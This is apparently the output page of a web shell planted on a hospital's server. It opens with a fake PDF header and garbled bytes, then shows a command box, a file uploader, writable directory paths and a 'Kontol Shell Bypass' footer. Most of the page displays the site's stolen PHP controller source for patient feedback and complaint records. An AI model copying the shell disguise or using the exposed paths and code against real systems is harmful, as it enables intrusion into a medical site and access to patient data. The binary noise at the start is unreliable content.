%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/pdms/application/controllers/admin/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/pdms/application/controllers/admin/Feedbackcollection.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
Class Feedbackcollection extends CI_Controller {

function __construct(){
	parent::__construct();
	$this->load->model(array('Common_Model','Incident_Model'));
	if(! $this->session->userdata('adid')) {
		redirect('admin/login');
	}
}

	/* 
	* Function : index
	* Desc : listing all records
	*/

	public function index()
	{
		$data = array();
		$header = array();
		$userDetails = $this->session->userdata('adid');
		$data['departmentArray'] = $this->Common_Model->getCommonIdArray('tbl_departments');	
		$data['feedsourceArray'] = $this->Common_Model->getCommonIdArray('tbl_feedback_source');	
		$cond = array();
		
		if(!in_array($this->session->userdata('adid')->role_id, array('1','4'))){
			$cond['tbl_feedbackcollection.user_id'] = $userDetails->id;
		}
		
		
		if($_GET['title']){
			$cond['tbl_feedbackcollection.feedback_source'] =  $_GET['title'];
		}
		
		if($_GET['search_for']){
			$cond['tbl_feedbackcollection.feedback_type'] =  $_GET['search_for'];
		}
		
		$betweenDate = array();
		if($_GET['search_fromdate'] && $_GET['search_todate']){
			$betweenDate['from_date'] =  $_GET['search_fromdate'];
			$betweenDate['to_date'] =  $_GET['search_todate'];
		}
		
		
		
		$data['recordsArray'] = $this->Common_Model->getFeedbackCollectionCommonQuery($cond, $betweenDate);

		$this->load->view('admin/_parts/header');
		$this->load->view('admin/feedbackcollection/index',$data);
		$this->load->view('admin/_parts/footer');
		setHistory('Go to manage feedbackcollection');
	}

	/* 
	* Function : addrecords
	* Desc : For particular Record
	*/

	public function addrecords($id='') 
	{
		// School Array
		$userDetails = $this->session->userdata('adid');
		$data['feedsourceArray'] = $this->Common_Model->getCommonIdArray('tbl_feedback_source');		
		$data['departmentArray'] = $this->Common_Model->getCommonIdArray('tbl_departments');		
		
		if($_POST){
			$this->form_validation->set_rules('feedback_source','Feedback Source','required');
			$this->form_validation->set_rules('feedback_type','Feedback Type','required');
			$this->form_validation->set_rules('remarks','Remarks','required');
			$this->form_validation->set_rules('department_id','Department','required');
			if($this->form_validation->run())
			{
				$feedback_source = $this->input->post('feedback_source');
				$feedback_type = $this->input->post('feedback_type');
				$remarks = $this->input->post('remarks');
				$department_id = $this->input->post('department_id');
				$email_id = $this->input->post('email_id');
				$contact_number = $this->input->post('contact_number');
				$full_name = $this->input->post('full_name');
				$UHID = $this->input->post('UHID');
				$user_id = $userDetails->id;
				$data=array(
					'feedback_source'=>$feedback_source,
					'feedback_type'=>$feedback_type,
					'remarks'=>$remarks,
					'department_id'=>$department_id,
					'full_name'=>$full_name,
					'email_id'=>$email_id,
					'contact_number'=>$contact_number,
					'UHID'=>$UHID,
					'user_id'=>$user_id,
					'is_deleted'=>'0',
					'createdon'=>date('Y-m-d H:i:s')
				);
				
				if($this->input->post('id')){
					$id = $this->input->post('id');
					$this->Common_Model->updateinfo($tbl_name='tbl_feedbackcollection',$data,'id',$id);
					setHistory('Feedbackcollection Updated successfully');
				} else {
					$lastId = $this->Common_Model->saveinfo($tbl_name='tbl_feedbackcollection',$data);
					setHistory('Feedbackcollection Added successfully');
				}
				
				if($feedback_type=='Complaint' && $lastId>0){
					$cparams = array();
					$cparams['complaindetails'] = $_POST['remarks'];
					$cparams['incident_occurred'] = $_POST['incident_occurred'];
					$cparams['affected_person_name'] = $_POST['affected_person_name'];
					$cparams['affected_person_age'] = $_POST['affected_person_age'];
					$cparams['affected_person_sex'] = $_POST['affected_person_sex'];
					$cparams['affected_person_ipno'] = $_POST['affected_person_ipno'];
					$cparams['affected_person_location'] = $_POST['affected_person_location'];
					$cparams['affected_person_udhead'] = $_POST['affected_person_udhead'];
					$cparams['affected_person_date'] = $_POST['affected_person_date'];
					$cparams['employee_acknowledgement'] = $_POST['employee_acknowledgement'];
					$cparams['acknowledgement_employee'] = $_POST['acknowledgement_employee'];
					$cparams['acknowledgement_employee_id'] = $_POST['acknowledgement_employee_id'];
					$cparams['acknowledgement_employee_designation'] = $_POST['acknowledgement_employee_designation'];
					$cparams['acknowledgement_employee_department'] = $_POST['acknowledgement_employee_department'];
					$cparams['compNumber'] = $this->getComplaintNumber();
					$cparams['userId'] = $this->session->userdata('adid')->id;
					$cparams['is_deleted'] = '0';
					$cparams['grievance_type'] = 'PDMS';
					$cparams['status'] = 'Not Processed';
					$cparams['regDate'] = date('Y-m-d H:i:s'); 
					$cparams['lastUpdationDate'] = date('Y-m-d H:i:s'); 
					$cparams['school_id'] = '1'; 
					$cparams['department_id'] = '0'; 
					
					//$resp = $this->Incident_Model->saveIncidentInfo('tblcomplaints',$cparams);
					// Save a copy to PDMS DB
					//$cparams['feedbackcollection_id'] = $lastId;
					//$resp = $this->Common_Model->saveinfo('tbl_incident_complaints',$cparams);
				}
				redirect('admin/feedbackcollection');
				
			} else {

				$this->load->view('admin/_parts/header');
				$this->load->view('admin/feedbackcollection/addrecord',$data);
				$this->load->view('admin/_parts/footer');
				setHistory('Error! Add feedbackcollection');
			}	
		} else {
			$data['sd']=$this->Common_Model->getSingleRecord('tbl_feedbackcollection',' * ', array('id'=>$id));
			$this->load->view('admin/_parts/header');
			$this->load->view('admin/feedbackcollection/addrecord',$data);
			$this->load->view('admin/_parts/footer');

			setHistory('Go to Add/Edit Feedbackcollection');
		}
	}
	
	/*
	* Function: getComplaintNumber
	*/
	public function getComplaintNumber()
	{
		$leadsArray = $this->Incident_Model->incidentCount('tblcomplaints');
		$leadscount = count($leadsArray);
		return 'SHIP'.date('Y').($leadscount+1).substr(time('ms'),6,4);
	}
	
	/* 
	* Function : editrecords
	* Desc : For particular Record
	*/

	public function editrecords($id='') 
	{
		// School Array
		$userDetails = $this->session->userdata('adid');
		$data['feedsourceArray'] = $this->Common_Model->getCommonIdArray('tbl_feedback_source');		
		$data['departmentArray'] = $this->Common_Model->getCommonIdArray('tbl_departments');		
		
		if($_POST){
			$this->form_validation->set_rules('team_review','Team Review','required');
			$this->form_validation->set_rules('department_id[]','Department','required');
			if($this->form_validation->run())
			{
				
				$team_review = $this->input->post('team_review');
				$department_id = implode(',',$this->input->post('department_id'));
				$email_id = $this->input->post('email_id');
				$contact_number = $this->input->post('contact_number');
				$full_name = $this->input->post('full_name');
				$UHID = $this->input->post('UHID');
				$user_id = $userDetails->id;
				$data=array(
					
					'team_review'=>$team_review,
					'department_id'=>$department_id,
					'full_name'=>$full_name,
					'email_id'=>$email_id,
					'contact_number'=>$contact_number,
					'UHID'=>$UHID,
					'user_id'=>$user_id,
					'is_deleted'=>'0',
					
				);
				if($this->input->post('id')){
					$id = $this->input->post('id');
					$data['modifiedon']= date('Y-m-d H:i:s');
					$this->Common_Model->updateinfo($tbl_name='tbl_feedbackcollection',$data,'id',$id);
					setHistory('PGRD TEAM Feedback Updated successfully');
				} else {
					$data['createdon']= date('Y-m-d H:i:s');
					$this->Common_Model->saveinfo($tbl_name='tbl_feedbackcollection',$data);
					setHistory('PGRD TEAM Feedback Added successfully');
				}
				
				redirect('admin/feedbackcollection');
				
			} else {

				$this->load->view('admin/_parts/header');
				$this->load->view('admin/feedbackcollection/editrecords',$data);
				$this->load->view('admin/_parts/footer');
				setHistory('Error! Add PGRD feedbackcollection');
			}	
		} else {
			$data['sd']=$this->Common_Model->getSingleRecord('tbl_feedbackcollection',' * ', array('id'=>$id));
			$this->load->view('admin/_parts/header');
			$this->load->view('admin/feedbackcollection/editrecords',$data);
			$this->load->view('admin/_parts/footer');

			setHistory('Go to Add/Edit PGRD Feedbackcollection');
		}
	}
	
	/* 
	* Function : addcomplaint
	* Desc : For particular Record
	*/

	public function addcomplaint($id='') 
	{
		// School Array
		$userDetails = $this->session->userdata('adid');
		
		if($_POST){
			$this->form_validation->set_rules('cause_analysis','Cause Analysis','required');
			$this->form_validation->set_rules('corrective_action','Corrective Action','required');
			$this->form_validation->set_rules('perventive_action','Perventive Action','required');
			if($this->form_validation->run())
			{
				$cause_analysis = $this->input->post('cause_analysis');
				$corrective_action = $this->input->post('corrective_action');
				$perventive_action = $this->input->post('perventive_action');
				$feedback_id = $this->input->post('feedback_id');
				$user_id = $userDetails->id;
				$data=array(
					'cause_analysis'=>$cause_analysis,
					'corrective_action'=>$corrective_action,
					'perventive_action'=>$perventive_action,
					'feedback_id'=>$feedback_id,
					'user_id'=>$user_id,
					'is_deleted'=>'0',
					'createdon'=>date('Y-m-d H:i:s')
				);
				
				if($this->input->post('id')){
					$id = $this->input->post('id');
					$this->Common_Model->updateinfo($tbl_name='tbl_complaint_raised',$data,'id',$id);
					setHistory('Complaint Feedbackcollection Updated successfully');
				} else {
				
					$this->Common_Model->saveinfo($tbl_name='tbl_complaint_raised',$data);
					setHistory('Complaint Feedbackcollection Added successfully');
					
				}
				
				redirect('admin/feedbackcollection');
				
			} else {

				$this->load->view('admin/_parts/header');
				$this->load->view('admin/feedbackcollection/addcomplaint',$data);
				$this->load->view('admin/_parts/footer');
				setHistory('Error! Add feedbackcollection');
			}	
		} else {
			$fd = $this->Common_Model->getFeedbackCollectionCommonQuery(array('tbl_feedbackcollection.id'=>$id));
			$data['fd']= $fd[0];
		
			$data['sd']=$this->Common_Model->getSingleRecord('tbl_complaint_raised',' * ', array('feedback_id'=>$id));
			$this->load->view('admin/_parts/header');
			$this->load->view('admin/feedbackcollection/addcomplaint',$data);
			$this->load->view('admin/_parts/footer');

			setHistory('Go to Add/Edit addcomplaint Feedbackcollection');
		}
	}
	
	public function viewdetails($id='') {
			$fd = $this->Common_Model->getFeedbackCollectionCommonQuery(array('tbl_feedbackcollection.id'=>$id));
			$data['fd']= $fd[0];
			
			$data['sd']=$this->Common_Model->getSingleRecord('tbl_complaint_raised',' * ', array('feedback_id'=>$id));
			$this->load->view('admin/_parts/header');
			$this->load->view('admin/feedbackcollection/viewdetails',$data);
			$this->load->view('admin/_parts/footer');

			setHistory('Go to Add/Edit addcomplaint Feedbackcollection');
	}

	/* 
	* Function : deleterecord
	* Desc : For records deletion
	*/

	public function deleterecord($uid)
	{
		$this->Common_Model->deleterecords('tbl_feedbackcollection',$uid);
		$this->session->set_flashdata('success', 'Data deleted');
		setHistory('Selected record deleted successfully');
		redirect('admin/feedbackcollection');
	}
}

Kontol Shell Bypass